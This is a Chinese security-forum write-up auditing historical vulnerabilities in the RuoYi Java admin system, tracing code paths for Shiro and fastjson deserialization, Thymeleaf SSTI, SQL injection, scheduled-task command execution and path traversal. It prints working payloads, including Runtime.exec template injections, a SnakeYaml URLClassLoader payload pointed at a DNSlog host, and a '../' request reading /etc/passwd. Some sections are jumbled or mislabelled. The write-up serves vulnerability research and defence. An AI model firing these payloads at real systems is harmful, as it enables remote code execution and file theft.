问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
JAVA代码审计-某依系统
漏洞分析
文章主要记录了对某依系统的历史漏洞分析,包含了一些常用的组件漏洞。
环境搭建: ===== 使用idea进行环境搭建。  导入数据库之后。  启动环境。  代码审计: ===== 第三方组件漏洞审计 --------- 本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打开该若依,发现本项目采用了多模块方式。根据这些组件漏洞的版本,然后去判断是否存在该漏洞。  组件漏洞代码审计 -------- ### Shiro反序列化漏洞(v4.2) 定位到Shiro配置文件位于 RuoYi-v4.2\\ruoyi- framework\\src\\main\\java\\com\\ruoyi\\framework\\config\\ShiroConfig.java 进入Shiro配置文件,发现对资源访问的拦截器配置,位于 第231行 ~ 276行 。发现 第272行 使用了 /\*\* 表达式,对路径进行拦截。 关于shiro的拦截匹配模式。 **补充:** Shiro中的URL路径表达式由三部分组成: 1. 资源定位符(Resource Locator):指要保护的特定资源或资源组件,比如 /admin/\*\* 2. 访问控制指令(Action/Permission):指允许或拒绝特定资源的一组操作或权限,比如 create, read, update, delete 3. 过滤器链(Filter Chain):指应该执行的安全过滤器链,每个过滤器都有自己的行为和责任。 在Shiro中,可以使用Ant风格的路径表达式来匹配URL地址。Ant风格的路径表达式可以使用通配符 \* 表示0个或多个字符,使用 ? 表示1个字符。 以下是一些示例: - /admin/\*\* = 匹配所有以 /admin/ 开头的URL - /user/create = 匹配具体的URL路径 /user/create - /login.jsp = 匹配具体的URL路径 /login.jsp #### 漏洞复现: 进入Shiro配置文件时,发现了Shiro密钥硬编码写在了代码中。在 RuoYi-v4.2\\ruoyi-framework\\src\\main\\java\\com\\ruoyi\\framework\\config\\ShiroConfig.java中。 通过搜索关键字 setCipherKey ,来看看密钥是否硬编码在了代码中。攻击者在知道了密钥后,就可以构造恶意payload,经过序列化、AES加密、base64编码操作加工后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。 使用burp进行测试,发现cookie含有rememberme的字段。  接着使用脚本进行验证漏洞。  也可以使用一自动化工具进行漏洞利用。  成功获取权限。  ### fastjson反序列化漏洞 全局搜索关键字parseObject。  下面我们追踪下流程,看看是否有接收用户输入的地方。 先进入 VelocityUtils.java。 从代码中看到 JSONObject.parseObject(options); 需要一个参数为 options ,该参数来自 genTable.getOptions(); 跟进这个函数, 发现getOptions() 返回值为 options 。 继续跟进 options  跟进 setTreeVelocityContext ,发现是prepareContext 中调用了它。  跟进GenConstants.TPL\_TREE ,看到定义了一个常量字符为 tree 。   跟进下 tplCategory ,该值来自于 genTable.getTplCategory();  进入 genTable.getTplCategory(); 看到 getTplCategory() 返回值就是 tplCategory 。  继续跟进 tplCategory ,该字段应该有两个值,一个是 crud ,一个是 tree 。所以我们再找到功能点时,应该将这个字段值设为 tree 。  我们继续追踪功能点。回到 prepareContext() 方法,我们看下谁调用了他,发现GenTaleServiceImpl.java 中第187行和250行都有所调用。  进入 GenTaleServiceImpl.java这个java文件中 ,发现是 previewCode 方法使用了 VelocityUtils.prepareContext(table); ,其中 table参数 来自 genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返回的数据。  我们只能操控 tableId 参数。继续跟踪一下 previewCode 。  继续跟进previewCode,跳转到了 GenController 层,发现是 preview 使用了 genTableService.previewCode(tableId);  在路径tool/gen/preview中 获取 tableId 。 我们继续往下找发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。追踪流程如下。 跟进 genTable.getParams() ,跳转到了 BASEEntity.java 代码中。  回到 GenTaleServiceImpl.java ,查看谁调用了 validateEdit ,跳转到了IGenTaleService。  继续跟进 validateEdit ,跳转到了 GenController 层第142行。  ### SnakeYaml组件漏洞 **漏洞简介:** SnakeYaml是一款基于Java的YAML解析器。SnakeYAML存在缓冲区错误漏洞,该漏洞源于解析不受信任的YAML文件可能容易受到拒绝服务攻击 (DOS)。如果解析器在用户提供的输入上运行,攻击者通过特制内容导致解析器因堆栈溢出而崩溃。有报道指出官方认为SnakeYaml的使用场景仅接收可信的数据源,因此不认为cve-2022-1471是漏洞,因此目前还没有修复,后续可能也不会修复。但是,为了防范潜在的风险,建议开发人员排查SnakeYaml的使用情况,判断是否接收外部数据,并加入new SafeConstructor()类进行过滤。 经过全局搜索Yaml.load(,发现本项目并没有使用到这个组件。  ### Thymeleaf组件漏洞 在第三方组件漏洞审计时,了解到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。tutorial/content/docs/introduction.html Thymeleaf是一款流行的Java模板引擎,用于生成HTML、XML、JavaScript、CSS和文本文件。根据\[[1](https://paper.seebug.org/1332/)\]的披露,Thymeleaf存在一种路径遍历漏洞,攻击者可以在参数中注入恶意输入来访问Web服务器上的任意文件。例如,以下代码在请求参数中包含了一个../../file.txt的路径跳转字符串来读取敏感文件: ```php @GetMapping("/view") @ResponseBody public String view(@RequestParam(value="name", required=false, defaultValue="../../file.txt") String name) throws IOException { File file = new File(name); FileReader fr = new FileReader(file); BufferedReader br = new BufferedReader(fr); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line); } br.close(); fr.close(); return sb.toString(); } ``` 建议开发人员使用Thymeleaf的内置安全性功能来防止路径遍历攻击,并确保不将用户输入直接传递给模板或模板构造器。例如,可以使用Spring Security提供的表达式语言SpEL对请求参数进行安全处理,比如加入${#httpServletRequest.parameter('name')},将其设置在Thymeleaf中的每个变量前。另外,要注意限制允许访问的文件夹以及最小化在“src/main/resources”等敏感目录下存储的文件。更多关于Thymeleaf路径遍历漏洞及修复方法的信息,Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为 @ResponseBody 和 @RestController 不会进行View解析而是直接返回。 **SSTI(模板注入)漏洞点:** 我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。 在Controller层,我们关注两点: 1、URL路径可控。 , 2、return内容可控。对应上面两个关注点,举例说明如下。 **1、URL路径可控** @RequestMapping("/hello") public class HelloController { @RequestMapping("/whoami/{name}/{sex}") public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){ return "Hello" + name + sex; } } **2、return内容可控** @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; } 根据上面两个关注点,发现v4.2 并没有发现存在Thymeleaf模板注入漏洞点。 但在 若依v4.7.1 发现存在 return内容可控 的情况。 在 若依v4.7.1 的 RuoYi-v4.7.1\\ruoyi- admin\\src\\main\\java\\com\\ruoyi\\web\\controller\\monitor 下多了一个CacheController.java 文件。该文件下有多个地方 Return内容可控 。  接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为fragment 。 ### 漏洞复现: 构造一下payload,org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[!!java.net.URLClassLoader \[\[!!java.net.URL \["ftp://此处填入DNSlog地 址"\]\]\]\]')  发现若依v4.7.1 存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。Thymeleaf模板注入payload举例:发现return内容可控: \_\_${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI nputStream()).next()}\_\_::.x URL路径可控: \_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x 本次漏洞验证我在Windows环境下进行的。 ⚠ 注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录 下的 ry\_20210924.sql 和 quartz.sql 。先导入 ry\_20210924.sql 。 return内容可控: \_\_${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI nputStream()).next()}\_\_::.x URL路径可控: \_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x 我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。进入系统监控下,使用缓存监控,和代码审计发现的 CacheControlle 代码文件中功能注释一样。访问缓存监控功能。分别点击 缓存列表和键名列表旁的刷新按钮,会分别想 getNames , getKeys 接口发送数据。  将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 \_\_${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")}\_\_::.x ,对paylod进行URL编码后。 发送数据包。响应报错,而且并没有弹出来计算器。如下图所示:  我们将Payload改造一下,如 ${T(java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个空格即可。对Payload进行URL编码后,放入 fragment 参数中,弹出了计算器 在编码和不编码的情况下,发现都可以弹出计算机。    web漏洞 ----- ### SQL注入漏洞 全局搜索关键字 $ ,并限定文件类型为 .xml ,发现 sysDeptMapper.xml 和 sysUserMapper.xml 有存在SQL注入的地方。  然后看SysRoleMapper.xml 这个xml文件  点击左侧箭头快速跳转到DAO层,(IDEA中需要安装Free Mybatis plugin插件)  按住Ctrl加鼠标左键,点击 selectRoleList ,查看谁调用了它。最终来到 SysRoleServiceImpl 的实现层.  进入 SysRoleServiceImpl 后,再回溯到 SysRoleService 层,或者选中 selectRoleList 后使用快捷键或箭头。   回溯到 Controller 层,最终发现是 SysRoleController 调用了这个方法。  点击进入,最终定位到src\\main\\java\\com\\ruoyi\\web\\controller\\system\\SysRoleController.java ,第58行和第68行都有调用。  点击 SysRole ,进入看看定义了哪些实体类,其中发现了 DataScope 。  回顾下整理流程,如下所示: sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java - \\> ISysRoleService.java -> SysRoleController.java  #### 漏洞复现: 访问 角色管理 功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现 搜索 功能,会向 /system/role/list 接口发送数据,如下图所示:   使用sqlmap进行漏洞验证。  ### 定时任务功能处命令执行漏洞 我们了解到本项目中有使用到定时任务功能,了解到本项目定时任务功能在 ruoyi-quartz 模块下,使用的是 quartz 框架。  进入 ruoyi-quartz 模块 src\\main\\java\\com\\ruoyi\\quartz 下,我们先关注controller 文件代码。我们知道 Controller 也是控制层,再向 Service层 传输。打开 controller 文件下,有两个代码文件,分别是 SysJobController 和SysJobLogController。   对 SysJobController下的run方法 进行追踪,根据注释该方法为任务调度立即执行一次。  使用鼠标选中jobService.run(job) ,进入Service层后,无其他执行代码,继 续跟踪到实现层,最终代码位于 RuoYi-v4.2\\ruoyi- quartz\\src\\main\\java\\com\\ruoyi\\quartz\\service\\impl\\SysJobServiceImpl.java 第180行到188行。  进入 JobInvokeUtil.invokeMethod(sysJob); ,最终方法实现如下图所示:  第25行到28行,为获取处理数据,可以在这里使用断点来进行分析。  它支持两种方式调用,分别为支持 Bean 调用和 Class 类调用。此处判断我理解为通过 beanname 判断是否为有效的classname。使用 bean 方式调用,还是使用 Class 方式调用。此处,可以创建两种方式的目标字符串后,在 if(!isValidClassName(beanName)) 处打个断点,分别执行跟踪一下。  #### 漏洞复现: 首先进行添加任务  然后输入pyaload。  然后执行这个定时任务,发现dnslog回显。  也可以使用若依工具验证:  ### 任意文件读取/下载漏洞 在本项目中,发现存在一处下载功能。 代码位于 RuoYi-v4.2\\ruoyi- admin\\src\\main\\java\\com\\ruoyi\\web\\controller\\common\\CommonController .java 第96行-第111行。通过注释一目了然该部分代码的作用。  全局搜索关键字 resourceDownload ,发现并没有其他功能调用它。我们可以自己去构造方法然后去下载。  1、首先,漏洞代码点位于第118行,使用了 FileUtils.writeBytes() 方法输出指定文件的byte数组,即将文件从服务器下载到本地。 2、 downloadPath 来自第103行,是由 localPath 和StringUtils.substringAfter(resource, Constants.RESOURCE\_PREFIX); 组成。 3、 localPath 来自第101行注释为 本地资源路径 ,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath ,是从 src\\main\\resources\\application.yml 配置文件中第12行文件路径中获取的。  4、通过第96行,知道接口路径为 /common/download/resource ,仅接受GET请求。 5、通过第97行, String resource 知道接收参数值的为 resource 。 #### 漏洞复现: 漏洞Payload: <http://127.0.0.1/common/download/resource?> resource=/profile/../../../../etc/passwd 。   **REF:** [https://blog.csdn.net/qq\_44029310/article/details/125296406](https://blog.csdn.net/qq_44029310/article/details/125296406) <https://blog.csdn.net/Power7089/article/details/126625160> <https://xz.aliyun.com/t/11928>
发表于 2023-04-23 09:00:00
阅读 ( 10197 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
Arthur
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!